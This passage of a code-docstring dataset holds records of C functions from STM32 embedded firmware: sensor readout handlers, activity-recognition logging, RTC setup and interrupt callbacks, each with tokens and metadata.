[ "static", "void", "Gyro_Sensor_Handler", "(", "TMsg", "*", "Msg", ")", "{", "uint8_t", "status", "=", "0", ";", "SensorAxes_t", "GYR_Value", ";", "if", "(", "Sensors_Enabled", "&", "GYROSCOPE_SENSOR", ")", "{", "if", "(", "BSP_GYRO_IsInitialized", "(", "GYRO_handle", ",", "&", "status", ")", "==", "COMPONENT_OK", "&&", "status", "==", "1", ")", "{", "BSP_GYRO_Get_Axes", "(", "GYRO_handle", ",", "&", "GYR_Value", ")", ";", "Serialize_s32", "(", "&", "Msg", "->", "Data", "[", "31", "]", ",", "GYR_Value", ".", "AXIS_X", ",", "4", ")", ";", "Serialize_s32", "(", "&", "Msg", "->", "Data", "[", "35", "]", ",", "GYR_Value", ".", "AXIS_Y", ",", "4", ")", ";", "Serialize_s32", "(", "&", "Msg", "->", "Data", "[", "39", "]", ",", "GYR_Value", ".", "AXIS_Z", ",", "4", ")", ";", "}", "}", "}" ]
@brief Handles the GYR axes data getting/sending @param Msg - GYR part of the stream @retval None
[ "@brief", "Handles", "the", "GYR", "axes", "data", "getting", "/", "sending", "@param", "Msg", "-", "GYR", "part", "of", "the", "stream", "@retval", "None" ]
[]
[ { "param": "Msg", "type": "TMsg" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "Msg", "type": "TMsg", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
f63bcc9142d45e9c48ad54047b697b81f12531ae
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/ActivityRecognition/Src/main.c
[ "MIT" ]
C
Magneto_Sensor_Handler
void
static void Magneto_Sensor_Handler(TMsg *Msg) { uint8_t status = 0; SensorAxes_t MAG_Value; if (Sensors_Enabled & MAGNETIC_SENSOR) { if (BSP_MAGNETO_IsInitialized(MAGNETO_handle, &status) == COMPONENT_OK && status == 1) { BSP_MAGNETO_Get_Axes(MAGNETO_handle, &MAG_Value); Serialize_s32(&Msg->Data[43], MAG_Value.AXIS_X, 4); Serialize_s32(&Msg->Data[47], MAG_Value.AXIS_Y, 4); Serialize_s32(&Msg->Data[51], MAG_Value.AXIS_Z, 4); } } }
/** * @brief Handles the MAG axes data getting/sending * @param Msg - MAG part of the stream * @retval None */
@brief Handles the MAG axes data getting/sending @param Msg - MAG part of the stream @retval None
[ "@brief", "Handles", "the", "MAG", "axes", "data", "getting", "/", "sending", "@param", "Msg", "-", "MAG", "part", "of", "the", "stream", "@retval", "None" ]
static void Magneto_Sensor_Handler(TMsg *Msg) { uint8_t status = 0; SensorAxes_t MAG_Value; if (Sensors_Enabled & MAGNETIC_SENSOR) { if (BSP_MAGNETO_IsInitialized(MAGNETO_handle, &status) == COMPONENT_OK && status == 1) { BSP_MAGNETO_Get_Axes(MAGNETO_handle, &MAG_Value); Serialize_s32(&Msg->Data[43], MAG_Value.AXIS_X, 4); Serialize_s32(&Msg->Data[47], MAG_Value.AXIS_Y, 4); Serialize_s32(&Msg->Data[51], MAG_Value.AXIS_Z, 4); } } }
[ "static", "void", "Magneto_Sensor_Handler", "(", "TMsg", "*", "Msg", ")", "{", "uint8_t", "status", "=", "0", ";", "SensorAxes_t", "MAG_Value", ";", "if", "(", "Sensors_Enabled", "&", "MAGNETIC_SENSOR", ")", "{", "if", "(", "BSP_MAGNETO_IsInitialized", "(", "MAGNETO_handle", ",", "&", "status", ")", "==", "COMPONENT_OK", "&&", "status", "==", "1", ")", "{", "BSP_MAGNETO_Get_Axes", "(", "MAGNETO_handle", ",", "&", "MAG_Value", ")", ";", "Serialize_s32", "(", "&", "Msg", "->", "Data", "[", "43", "]", ",", "MAG_Value", ".", "AXIS_X", ",", "4", ")", ";", "Serialize_s32", "(", "&", "Msg", "->", "Data", "[", "47", "]", ",", "MAG_Value", ".", "AXIS_Y", ",", "4", ")", ";", "Serialize_s32", "(", "&", "Msg", "->", "Data", "[", "51", "]", ",", "MAG_Value", ".", "AXIS_Z", ",", "4", ")", ";", "}", "}", "}" ]
@brief Handles the MAG axes data getting/sending @param Msg - MAG part of the stream @retval None
[ "@brief", "Handles", "the", "MAG", "axes", "data", "getting", "/", "sending", "@param", "Msg", "-", "MAG", "part", "of", "the", "stream", "@retval", "None" ]
[]
[ { "param": "Msg", "type": "TMsg" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "Msg", "type": "TMsg", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
f63bcc9142d45e9c48ad54047b697b81f12531ae
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/ActivityRecognition/Src/main.c
[ "MIT" ]
C
Pressure_Sensor_Handler
void
static void Pressure_Sensor_Handler(TMsg *Msg) { uint8_t status = 0; float PRESSURE_Value; if (Sensors_Enabled & PRESSURE_SENSOR) { if (BSP_PRESSURE_IsInitialized(PRESSURE_handle, &status) == COMPONENT_OK && status == 1) { BSP_PRESSURE_Get_Press(PRESSURE_handle, &PRESSURE_Value); memcpy(&Msg->Data[7], (void *)&PRESSURE_Value, sizeof(float)); } } }
/** * @brief Handles the PRESS sensor data getting/sending. * @param Msg - PRESS part of the stream * @retval None */
@brief Handles the PRESS sensor data getting/sending. @param Msg - PRESS part of the stream @retval None
[ "@brief", "Handles", "the", "PRESS", "sensor", "data", "getting", "/", "sending", ".", "@param", "Msg", "-", "PRESS", "part", "of", "the", "stream", "@retval", "None" ]
static void Pressure_Sensor_Handler(TMsg *Msg) { uint8_t status = 0; float PRESSURE_Value; if (Sensors_Enabled & PRESSURE_SENSOR) { if (BSP_PRESSURE_IsInitialized(PRESSURE_handle, &status) == COMPONENT_OK && status == 1) { BSP_PRESSURE_Get_Press(PRESSURE_handle, &PRESSURE_Value); memcpy(&Msg->Data[7], (void *)&PRESSURE_Value, sizeof(float)); } } }
[ "static", "void", "Pressure_Sensor_Handler", "(", "TMsg", "*", "Msg", ")", "{", "uint8_t", "status", "=", "0", ";", "float", "PRESSURE_Value", ";", "if", "(", "Sensors_Enabled", "&", "PRESSURE_SENSOR", ")", "{", "if", "(", "BSP_PRESSURE_IsInitialized", "(", "PRESSURE_handle", ",", "&", "status", ")", "==", "COMPONENT_OK", "&&", "status", "==", "1", ")", "{", "BSP_PRESSURE_Get_Press", "(", "PRESSURE_handle", ",", "&", "PRESSURE_Value", ")", ";", "memcpy", "(", "&", "Msg", "->", "Data", "[", "7", "]", ",", "(", "void", "*", ")", "&", "PRESSURE_Value", ",", "sizeof", "(", "float", ")", ")", ";", "}", "}", "}" ]
@brief Handles the PRESS sensor data getting/sending.
[ "@brief", "Handles", "the", "PRESS", "sensor", "data", "getting", "/", "sending", "." ]
[]
[ { "param": "Msg", "type": "TMsg" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "Msg", "type": "TMsg", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
f63bcc9142d45e9c48ad54047b697b81f12531ae
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/ActivityRecognition/Src/main.c
[ "MIT" ]
C
Temperature_Sensor_Handler
void
static void Temperature_Sensor_Handler(TMsg *Msg) { uint8_t status = 0; float TEMPERATURE_Value; if (Sensors_Enabled & TEMPERATURE_SENSOR) { if (BSP_TEMPERATURE_IsInitialized(TEMPERATURE_handle, &status) == COMPONENT_OK && status == 1) { BSP_TEMPERATURE_Get_Temp(TEMPERATURE_handle, &TEMPERATURE_Value); memcpy(&Msg->Data[11], (void *)&TEMPERATURE_Value, sizeof(float)); } } }
/** * @brief Handles the TEMP axes data getting/sending * @param Msg - TEMP part of the stream * @retval None */
@brief Handles the TEMP axes data getting/sending @param Msg - TEMP part of the stream @retval None
[ "@brief", "Handles", "the", "TEMP", "axes", "data", "getting", "/", "sending", "@param", "Msg", "-", "TEMP", "part", "of", "the", "stream", "@retval", "None" ]
static void Temperature_Sensor_Handler(TMsg *Msg) { uint8_t status = 0; float TEMPERATURE_Value; if (Sensors_Enabled & TEMPERATURE_SENSOR) { if (BSP_TEMPERATURE_IsInitialized(TEMPERATURE_handle, &status) == COMPONENT_OK && status == 1) { BSP_TEMPERATURE_Get_Temp(TEMPERATURE_handle, &TEMPERATURE_Value); memcpy(&Msg->Data[11], (void *)&TEMPERATURE_Value, sizeof(float)); } } }
[ "static", "void", "Temperature_Sensor_Handler", "(", "TMsg", "*", "Msg", ")", "{", "uint8_t", "status", "=", "0", ";", "float", "TEMPERATURE_Value", ";", "if", "(", "Sensors_Enabled", "&", "TEMPERATURE_SENSOR", ")", "{", "if", "(", "BSP_TEMPERATURE_IsInitialized", "(", "TEMPERATURE_handle", ",", "&", "status", ")", "==", "COMPONENT_OK", "&&", "status", "==", "1", ")", "{", "BSP_TEMPERATURE_Get_Temp", "(", "TEMPERATURE_handle", ",", "&", "TEMPERATURE_Value", ")", ";", "memcpy", "(", "&", "Msg", "->", "Data", "[", "11", "]", ",", "(", "void", "*", ")", "&", "TEMPERATURE_Value", ",", "sizeof", "(", "float", ")", ")", ";", "}", "}", "}" ]
@brief Handles the TEMP axes data getting/sending @param Msg - TEMP part of the stream @retval None
[ "@brief", "Handles", "the", "TEMP", "axes", "data", "getting", "/", "sending", "@param", "Msg", "-", "TEMP", "part", "of", "the", "stream", "@retval", "None" ]
[]
[ { "param": "Msg", "type": "TMsg" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "Msg", "type": "TMsg", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
f63bcc9142d45e9c48ad54047b697b81f12531ae
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/ActivityRecognition/Src/main.c
[ "MIT" ]
C
Humidity_Sensor_Handler
void
static void Humidity_Sensor_Handler(TMsg *Msg) { uint8_t status = 0; float HUMIDITY_Value; if (Sensors_Enabled & HUMIDITY_SENSOR) { if (BSP_HUMIDITY_IsInitialized(HUMIDITY_handle, &status) == COMPONENT_OK && status == 1) { BSP_HUMIDITY_Get_Hum(HUMIDITY_handle, &HUMIDITY_Value); memcpy(&Msg->Data[15], (void *)&HUMIDITY_Value, sizeof(float));; } } }
/** * @brief Handles the HUM axes data getting/sending * @param Msg - HUM part of the stream * @retval None */
@brief Handles the HUM axes data getting/sending @param Msg - HUM part of the stream @retval None
[ "@brief", "Handles", "the", "HUM", "axes", "data", "getting", "/", "sending", "@param", "Msg", "-", "HUM", "part", "of", "the", "stream", "@retval", "None" ]
static void Humidity_Sensor_Handler(TMsg *Msg) { uint8_t status = 0; float HUMIDITY_Value; if (Sensors_Enabled & HUMIDITY_SENSOR) { if (BSP_HUMIDITY_IsInitialized(HUMIDITY_handle, &status) == COMPONENT_OK && status == 1) { BSP_HUMIDITY_Get_Hum(HUMIDITY_handle, &HUMIDITY_Value); memcpy(&Msg->Data[15], (void *)&HUMIDITY_Value, sizeof(float));; } } }
[ "static", "void", "Humidity_Sensor_Handler", "(", "TMsg", "*", "Msg", ")", "{", "uint8_t", "status", "=", "0", ";", "float", "HUMIDITY_Value", ";", "if", "(", "Sensors_Enabled", "&", "HUMIDITY_SENSOR", ")", "{", "if", "(", "BSP_HUMIDITY_IsInitialized", "(", "HUMIDITY_handle", ",", "&", "status", ")", "==", "COMPONENT_OK", "&&", "status", "==", "1", ")", "{", "BSP_HUMIDITY_Get_Hum", "(", "HUMIDITY_handle", ",", "&", "HUMIDITY_Value", ")", ";", "memcpy", "(", "&", "Msg", "->", "Data", "[", "15", "]", ",", "(", "void", "*", ")", "&", "HUMIDITY_Value", ",", "sizeof", "(", "float", ")", ")", ";", ";", "}", "}", "}" ]
@brief Handles the HUM axes data getting/sending @param Msg - HUM part of the stream @retval None
[ "@brief", "Handles", "the", "HUM", "axes", "data", "getting", "/", "sending", "@param", "Msg", "-", "HUM", "part", "of", "the", "stream", "@retval", "None" ]
[]
[ { "param": "Msg", "type": "TMsg" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "Msg", "type": "TMsg", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
f63bcc9142d45e9c48ad54047b697b81f12531ae
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/ActivityRecognition/Src/main.c
[ "MIT" ]
C
AR_Data_Handler
void
static void AR_Data_Handler(TMsg *Msg) { MAR_input_t data_in; static MAR_output_t activity_prev = MAR_NOACTIVITY; static MAR_output_t activity; static uint32_t SessionCounter = 0; if (Sensors_Enabled & ACCELEROMETER_SENSOR) { /* Convert acceleration from [mg] to [g] */ data_in.AccX = (float)ACC_Value.AXIS_X / 1000.0f; data_in.AccY = (float)ACC_Value.AXIS_Y / 1000.0f; data_in.AccZ = (float)ACC_Value.AXIS_Z / 1000.0f; /* Run Activity Recognition algorithm */ BSP_LED_On(LED2); MotionAR_manager_run(&data_in, &activity); BSP_LED_Off(LED2); if (ProgramState == GUI_MODE) { Serialize_s32(&Msg->Data[55], (int32_t)activity, 4); } else if (ProgramState == STANDALONE_MODE) { /* New session */ if (SessionNew == 1) { SessionNew = 0; SessionCounter = 0; AR_Data_index = 0; /* Create new session record with only date and time */ RTC_Handler_ActivityStamp(&DataByte_AR[AR_Data_index].DateTime); DataByte_AR[AR_Data_index].DataValid = 0; DataByte_AR[AR_Data_index].ActivityType = MAR_NOACTIVITY; AR_Data_index++; activity_prev = MAR_NOACTIVITY; return; } /* Buffer full */ if (AR_Data_index >= DATABYTE_AR_LEN) { /* Activity Recognition data are stored in FLASH */ if (Datalog_SaveActivity2Mem(AR_Data_index) == 0) gui_mode_request = 1; AR_Data_index = 0; } /* Activity changed */ if (activity != activity_prev) { /* Store new pose in buffer */ RTC_Handler_ActivityStamp(&DataByte_AR[AR_Data_index].DateTime); DataByte_AR[AR_Data_index].DataValid = 1; DataByte_AR[AR_Data_index].ActivityType = activity; AR_Data_index++; activity_prev = activity; } /* Periodic Activity Recognition data save */ if (SessionCounter >= SESSION_COUNTER_MAX) { /* Activity Recognition data are stored in FLASH */ if (Datalog_SaveActivity2Mem(AR_Data_index) == 0) gui_mode_request = 1; SessionCounter = 0; AR_Data_index = 0; } else { SessionCounter++; } } else { Error_Handler(); } } }
/** * @brief Activity Recognition data handler * @param Msg - Activity Recognition data part of the stream * @retval None */
@brief Activity Recognition data handler @param Msg - Activity Recognition data part of the stream @retval None
[ "@brief", "Activity", "Recognition", "data", "handler", "@param", "Msg", "-", "Activity", "Recognition", "data", "part", "of", "the", "stream", "@retval", "None" ]
static void AR_Data_Handler(TMsg *Msg) { MAR_input_t data_in; static MAR_output_t activity_prev = MAR_NOACTIVITY; static MAR_output_t activity; static uint32_t SessionCounter = 0; if (Sensors_Enabled & ACCELEROMETER_SENSOR) { data_in.AccX = (float)ACC_Value.AXIS_X / 1000.0f; data_in.AccY = (float)ACC_Value.AXIS_Y / 1000.0f; data_in.AccZ = (float)ACC_Value.AXIS_Z / 1000.0f; BSP_LED_On(LED2); MotionAR_manager_run(&data_in, &activity); BSP_LED_Off(LED2); if (ProgramState == GUI_MODE) { Serialize_s32(&Msg->Data[55], (int32_t)activity, 4); } else if (ProgramState == STANDALONE_MODE) { if (SessionNew == 1) { SessionNew = 0; SessionCounter = 0; AR_Data_index = 0; RTC_Handler_ActivityStamp(&DataByte_AR[AR_Data_index].DateTime); DataByte_AR[AR_Data_index].DataValid = 0; DataByte_AR[AR_Data_index].ActivityType = MAR_NOACTIVITY; AR_Data_index++; activity_prev = MAR_NOACTIVITY; return; } if (AR_Data_index >= DATABYTE_AR_LEN) { if (Datalog_SaveActivity2Mem(AR_Data_index) == 0) gui_mode_request = 1; AR_Data_index = 0; } if (activity != activity_prev) { RTC_Handler_ActivityStamp(&DataByte_AR[AR_Data_index].DateTime); DataByte_AR[AR_Data_index].DataValid = 1; DataByte_AR[AR_Data_index].ActivityType = activity; AR_Data_index++; activity_prev = activity; } if (SessionCounter >= SESSION_COUNTER_MAX) { if (Datalog_SaveActivity2Mem(AR_Data_index) == 0) gui_mode_request = 1; SessionCounter = 0; AR_Data_index = 0; } else { SessionCounter++; } } else { Error_Handler(); } } }
[ "static", "void", "AR_Data_Handler", "(", "TMsg", "*", "Msg", ")", "{", "MAR_input_t", "data_in", ";", "static", "MAR_output_t", "activity_prev", "=", "MAR_NOACTIVITY", ";", "static", "MAR_output_t", "activity", ";", "static", "uint32_t", "SessionCounter", "=", "0", ";", "if", "(", "Sensors_Enabled", "&", "ACCELEROMETER_SENSOR", ")", "{", "data_in", ".", "AccX", "=", "(", "float", ")", "ACC_Value", ".", "AXIS_X", "/", "1000.0f", ";", "data_in", ".", "AccY", "=", "(", "float", ")", "ACC_Value", ".", "AXIS_Y", "/", "1000.0f", ";", "data_in", ".", "AccZ", "=", "(", "float", ")", "ACC_Value", ".", "AXIS_Z", "/", "1000.0f", ";", "BSP_LED_On", "(", "LED2", ")", ";", "MotionAR_manager_run", "(", "&", "data_in", ",", "&", "activity", ")", ";", "BSP_LED_Off", "(", "LED2", ")", ";", "if", "(", "ProgramState", "==", "GUI_MODE", ")", "{", "Serialize_s32", "(", "&", "Msg", "->", "Data", "[", "55", "]", ",", "(", "int32_t", ")", "activity", ",", "4", ")", ";", "}", "else", "if", "(", "ProgramState", "==", "STANDALONE_MODE", ")", "{", "if", "(", "SessionNew", "==", "1", ")", "{", "SessionNew", "=", "0", ";", "SessionCounter", "=", "0", ";", "AR_Data_index", "=", "0", ";", "RTC_Handler_ActivityStamp", "(", "&", "DataByte_AR", "[", "AR_Data_index", "]", ".", "DateTime", ")", ";", "DataByte_AR", "[", "AR_Data_index", "]", ".", "DataValid", "=", "0", ";", "DataByte_AR", "[", "AR_Data_index", "]", ".", "ActivityType", "=", "MAR_NOACTIVITY", ";", "AR_Data_index", "++", ";", "activity_prev", "=", "MAR_NOACTIVITY", ";", "return", ";", "}", "if", "(", "AR_Data_index", ">=", "DATABYTE_AR_LEN", ")", "{", "if", "(", "Datalog_SaveActivity2Mem", "(", "AR_Data_index", ")", "==", "0", ")", "gui_mode_request", "=", "1", ";", "AR_Data_index", "=", "0", ";", "}", "if", "(", "activity", "!=", "activity_prev", ")", "{", "RTC_Handler_ActivityStamp", "(", "&", "DataByte_AR", "[", "AR_Data_index", "]", ".", "DateTime", ")", ";", "DataByte_AR", "[", "AR_Data_index", "]", ".", "DataValid", "=", "1", ";", "DataByte_AR", "[", "AR_Data_index", "]", ".", "ActivityType", "=", "activity", ";", "AR_Data_index", "++", ";", "activity_prev", "=", "activity", ";", "}", "if", "(", "SessionCounter", ">=", "SESSION_COUNTER_MAX", ")", "{", "if", "(", "Datalog_SaveActivity2Mem", "(", "AR_Data_index", ")", "==", "0", ")", "gui_mode_request", "=", "1", ";", "SessionCounter", "=", "0", ";", "AR_Data_index", "=", "0", ";", "}", "else", "{", "SessionCounter", "++", ";", "}", "}", "else", "{", "Error_Handler", "(", ")", ";", "}", "}", "}" ]
@brief Activity Recognition data handler @param Msg - Activity Recognition data part of the stream @retval None
[ "@brief", "Activity", "Recognition", "data", "handler", "@param", "Msg", "-", "Activity", "Recognition", "data", "part", "of", "the", "stream", "@retval", "None" ]
[ "/* Convert acceleration from [mg] to [g] */", "/* Run Activity Recognition algorithm */", "/* New session */", "/* Create new session record with only date and time */", "/* Buffer full */", "/* Activity Recognition data are stored in FLASH */", "/* Activity changed */", "/* Store new pose in buffer */", "/* Periodic Activity Recognition data save */", "/* Activity Recognition data are stored in FLASH */" ]
[ { "param": "Msg", "type": "TMsg" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "Msg", "type": "TMsg", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
f63bcc9142d45e9c48ad54047b697b81f12531ae
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/ActivityRecognition/Src/main.c
[ "MIT" ]
C
RTC_Config
void
static void RTC_Config(void) { /*##-1- Configure the RTC peripheral #######################################*/ /* Check if LSE can be used */ RCC_OscInitTypeDef RCC_OscInitStruct; /*##-1- Configue LSE as RTC clock soucre ###################################*/ RCC_OscInitStruct.OscillatorType = RCC_OSCILLATORTYPE_LSI | RCC_OSCILLATORTYPE_LSE; RCC_OscInitStruct.PLL.PLLState = RCC_PLL_NONE; RCC_OscInitStruct.LSEState = RCC_LSE_ON; RCC_OscInitStruct.LSIState = RCC_LSI_OFF; if (HAL_RCC_OscConfig(&RCC_OscInitStruct) != HAL_OK) { /* LSE not available, we use LSI */ use_LSI = 1; RtcHandle.Init.AsynchPrediv = RTC_ASYNCH_PREDIV_LSI; RtcHandle.Init.SynchPrediv = RTC_SYNCH_PREDIV_LSI; RTC_SYNCH_PREDIV = RTC_SYNCH_PREDIV_LSI; } else { /* We use LSE */ use_LSI = 0; RtcHandle.Init.AsynchPrediv = RTC_ASYNCH_PREDIV_LSE; RtcHandle.Init.SynchPrediv = RTC_SYNCH_PREDIV_LSE; RTC_SYNCH_PREDIV = RTC_SYNCH_PREDIV_LSE; } RtcHandle.Instance = RTC; /* Configure RTC prescaler and RTC data registers */ /* RTC configured as follow: - Hour Format = Format 12 - Asynch Prediv = Value according to source clock - Synch Prediv = Value according to source clock - OutPut = Output Disable - OutPutPolarity = High Polarity - OutPutType = Open Drain */ RtcHandle.Init.HourFormat = RTC_HOURFORMAT_12; RtcHandle.Init.OutPut = RTC_OUTPUT_DISABLE; RtcHandle.Init.OutPutPolarity = RTC_OUTPUT_POLARITY_HIGH; RtcHandle.Init.OutPutType = RTC_OUTPUT_TYPE_OPENDRAIN; if (HAL_RTC_Init(&RtcHandle) != HAL_OK) { /* Initialization Error */ Error_Handler(); } }
/** * @brief Configures the RTC peripheral * @param None * @retval None */
@brief Configures the RTC peripheral @param None @retval None
[ "@brief", "Configures", "the", "RTC", "peripheral", "@param", "None", "@retval", "None" ]
static void RTC_Config(void) { RCC_OscInitTypeDef RCC_OscInitStruct; RCC_OscInitStruct.OscillatorType = RCC_OSCILLATORTYPE_LSI | RCC_OSCILLATORTYPE_LSE; RCC_OscInitStruct.PLL.PLLState = RCC_PLL_NONE; RCC_OscInitStruct.LSEState = RCC_LSE_ON; RCC_OscInitStruct.LSIState = RCC_LSI_OFF; if (HAL_RCC_OscConfig(&RCC_OscInitStruct) != HAL_OK) { use_LSI = 1; RtcHandle.Init.AsynchPrediv = RTC_ASYNCH_PREDIV_LSI; RtcHandle.Init.SynchPrediv = RTC_SYNCH_PREDIV_LSI; RTC_SYNCH_PREDIV = RTC_SYNCH_PREDIV_LSI; } else { use_LSI = 0; RtcHandle.Init.AsynchPrediv = RTC_ASYNCH_PREDIV_LSE; RtcHandle.Init.SynchPrediv = RTC_SYNCH_PREDIV_LSE; RTC_SYNCH_PREDIV = RTC_SYNCH_PREDIV_LSE; } RtcHandle.Instance = RTC; RtcHandle.Init.HourFormat = RTC_HOURFORMAT_12; RtcHandle.Init.OutPut = RTC_OUTPUT_DISABLE; RtcHandle.Init.OutPutPolarity = RTC_OUTPUT_POLARITY_HIGH; RtcHandle.Init.OutPutType = RTC_OUTPUT_TYPE_OPENDRAIN; if (HAL_RTC_Init(&RtcHandle) != HAL_OK) { Error_Handler(); } }
[ "static", "void", "RTC_Config", "(", "void", ")", "{", "RCC_OscInitTypeDef", "RCC_OscInitStruct", ";", "RCC_OscInitStruct", ".", "OscillatorType", "=", "RCC_OSCILLATORTYPE_LSI", "|", "RCC_OSCILLATORTYPE_LSE", ";", "RCC_OscInitStruct", ".", "PLL", ".", "PLLState", "=", "RCC_PLL_NONE", ";", "RCC_OscInitStruct", ".", "LSEState", "=", "RCC_LSE_ON", ";", "RCC_OscInitStruct", ".", "LSIState", "=", "RCC_LSI_OFF", ";", "if", "(", "HAL_RCC_OscConfig", "(", "&", "RCC_OscInitStruct", ")", "!=", "HAL_OK", ")", "{", "use_LSI", "=", "1", ";", "RtcHandle", ".", "Init", ".", "AsynchPrediv", "=", "RTC_ASYNCH_PREDIV_LSI", ";", "RtcHandle", ".", "Init", ".", "SynchPrediv", "=", "RTC_SYNCH_PREDIV_LSI", ";", "RTC_SYNCH_PREDIV", "=", "RTC_SYNCH_PREDIV_LSI", ";", "}", "else", "{", "use_LSI", "=", "0", ";", "RtcHandle", ".", "Init", ".", "AsynchPrediv", "=", "RTC_ASYNCH_PREDIV_LSE", ";", "RtcHandle", ".", "Init", ".", "SynchPrediv", "=", "RTC_SYNCH_PREDIV_LSE", ";", "RTC_SYNCH_PREDIV", "=", "RTC_SYNCH_PREDIV_LSE", ";", "}", "RtcHandle", ".", "Instance", "=", "RTC", ";", "RtcHandle", ".", "Init", ".", "HourFormat", "=", "RTC_HOURFORMAT_12", ";", "RtcHandle", ".", "Init", ".", "OutPut", "=", "RTC_OUTPUT_DISABLE", ";", "RtcHandle", ".", "Init", ".", "OutPutPolarity", "=", "RTC_OUTPUT_POLARITY_HIGH", ";", "RtcHandle", ".", "Init", ".", "OutPutType", "=", "RTC_OUTPUT_TYPE_OPENDRAIN", ";", "if", "(", "HAL_RTC_Init", "(", "&", "RtcHandle", ")", "!=", "HAL_OK", ")", "{", "Error_Handler", "(", ")", ";", "}", "}" ]
@brief Configures the RTC peripheral @param None @retval None
[ "@brief", "Configures", "the", "RTC", "peripheral", "@param", "None", "@retval", "None" ]
[ "/*##-1- Configure the RTC peripheral #######################################*/", "/* Check if LSE can be used */", "/*##-1- Configue LSE as RTC clock soucre ###################################*/", "/* LSE not available, we use LSI */", "/* We use LSE */", "/* Configure RTC prescaler and RTC data registers */", "/* RTC configured as follow:\r\n - Hour Format = Format 12\r\n - Asynch Prediv = Value according to source clock\r\n - Synch Prediv = Value according to source clock\r\n - OutPut = Output Disable\r\n - OutPutPolarity = High Polarity\r\n - OutPutType = Open Drain\r\n */", "/* Initialization Error */" ]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
f63bcc9142d45e9c48ad54047b697b81f12531ae
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/ActivityRecognition/Src/main.c
[ "MIT" ]
C
Error_Handler
void
void Error_Handler(void) { while(1) {} }
/** * @brief This function is executed in case of error occurrence. * @param None * @retval None */
@brief This function is executed in case of error occurrence. @param None @retval None
[ "@brief", "This", "function", "is", "executed", "in", "case", "of", "error", "occurrence", ".", "@param", "None", "@retval", "None" ]
void Error_Handler(void) { while(1) {} }
[ "void", "Error_Handler", "(", "void", ")", "{", "while", "(", "1", ")", "{", "}", "}" ]
@brief This function is executed in case of error occurrence.
[ "@brief", "This", "function", "is", "executed", "in", "case", "of", "error", "occurrence", "." ]
[]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
f63bcc9142d45e9c48ad54047b697b81f12531ae
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/ActivityRecognition/Src/main.c
[ "MIT" ]
C
HAL_GPIO_EXTI_Callback
void
void HAL_GPIO_EXTI_Callback(uint16_t GPIO_Pin) { if (GPIO_Pin == KEY_BUTTON_PIN) { if (BSP_PB_GetState(BUTTON_KEY) == GPIO_PIN_RESET) { if (ProgramState == GUI_MODE) standalone_mode_request = 1; else if (ProgramState == STANDALONE_MODE) gui_mode_request = 1; else Error_Handler(); } } }
/** * @brief EXTI line detection callbacks * @param GPIO_Pin the pin connected to EXTI line * @retval None */
@brief EXTI line detection callbacks @param GPIO_Pin the pin connected to EXTI line @retval None
[ "@brief", "EXTI", "line", "detection", "callbacks", "@param", "GPIO_Pin", "the", "pin", "connected", "to", "EXTI", "line", "@retval", "None" ]
void HAL_GPIO_EXTI_Callback(uint16_t GPIO_Pin) { if (GPIO_Pin == KEY_BUTTON_PIN) { if (BSP_PB_GetState(BUTTON_KEY) == GPIO_PIN_RESET) { if (ProgramState == GUI_MODE) standalone_mode_request = 1; else if (ProgramState == STANDALONE_MODE) gui_mode_request = 1; else Error_Handler(); } } }
[ "void", "HAL_GPIO_EXTI_Callback", "(", "uint16_t", "GPIO_Pin", ")", "{", "if", "(", "GPIO_Pin", "==", "KEY_BUTTON_PIN", ")", "{", "if", "(", "BSP_PB_GetState", "(", "BUTTON_KEY", ")", "==", "GPIO_PIN_RESET", ")", "{", "if", "(", "ProgramState", "==", "GUI_MODE", ")", "standalone_mode_request", "=", "1", ";", "else", "if", "(", "ProgramState", "==", "STANDALONE_MODE", ")", "gui_mode_request", "=", "1", ";", "else", "Error_Handler", "(", ")", ";", "}", "}", "}" ]
@brief EXTI line detection callbacks @param GPIO_Pin the pin connected to EXTI line @retval None
[ "@brief", "EXTI", "line", "detection", "callbacks", "@param", "GPIO_Pin", "the", "pin", "connected", "to", "EXTI", "line", "@retval", "None" ]
[]
[ { "param": "GPIO_Pin", "type": "uint16_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "GPIO_Pin", "type": "uint16_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
f63bcc9142d45e9c48ad54047b697b81f12531ae
PPA-Kerhoas-BLE/MeteoStation
STM32CubeExpansion_MEMS1_V4.1.0/Projects/Multi/Applications/ActivityRecognition/Src/main.c
[ "MIT" ]
C
HAL_TIM_PeriodElapsedCallback
void
void HAL_TIM_PeriodElapsedCallback(TIM_HandleTypeDef *htim) { if (htim->Instance == TIM_AR) { sensor_read_request = 1; } }
